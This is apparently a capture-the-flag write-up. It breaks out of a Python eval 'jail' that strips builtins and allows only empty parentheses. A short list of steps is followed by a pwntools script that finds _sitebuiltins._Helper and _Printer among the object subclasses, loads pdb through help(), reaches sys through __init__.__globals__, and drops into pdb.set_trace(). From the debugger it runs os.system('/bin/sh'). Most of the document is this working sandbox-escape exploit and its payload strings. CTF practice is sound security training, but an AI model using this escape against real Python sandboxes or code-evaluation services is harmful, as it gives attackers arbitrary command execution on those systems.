print(eval(code, {"__builtins__": None}, {}) if len(code := input("jail> ")) <= 100 and __import__("re").fullmatch(r'([^()]|\(\))*', code) else ":(")
Requirements:
()
but no parameters: Use sys.modules["pdb"].set_trace()
().__class__.__base__.__subclasses__()
to find sys
Steps:
<class '_sitebuiltins._Helper'>
and <class '_sitebuiltins._Printer'>
in ().__class__.__base__.__subclasses__()
help()
via <class '_sitebuiltins._Helper'>
and load pdb
module in help() systemsys
module via <class '_sitebuiltins._Printer'>.__init__.__globals__
and execute sys.modules['pdb'].set_trace()
Attack script:
from pwn import *
context(log_level="debug")
# step 1. locate Helper and Printer
p = process(["python3", "jail.py"])
p.recvuntil(b"jail>")
p.sendline("().__class__.__base__.__subclasses__()".encode())
res = p.recvline().decode()
helper_index = res.split(", ").index("<class '_sitebuiltins._Helper'>")
printer_index = res.split(", ").index("<class '_sitebuiltins._Printer'>")
print("Helper", helper_index)
print("Printer", printer_index)
# step 2. call help() to load pdb module
p = process(["python3", "jail.py"])
p.recvuntil(b"jail>")
p.sendline(
(
f"().__class__.__base__.__subclasses__()[{helper_index}]()()"
).encode()
)
# load pdb and return to jail
p.sendline(b"pdb")
p.sendline(b"jail")
p.recvuntil(b"jail>")
# step 3. locate sys module and call `sys.modules['pdb'].set_trace()`
p.sendline(
(
f"().__class__.__base__.__subclasses__()[{printer_index}].__init__.__globals__['sys'].modules['pdb'].set_trace()"
).encode()
)
# in pdb
p.recvuntil(b"(Pdb) ")
p.sendline(
(
f"().__class__.__base__.__subclasses__()[{printer_index}].__init__.__globals__['sys'].modules['os'].system('/bin/sh')"
).encode()
)
p.interactive()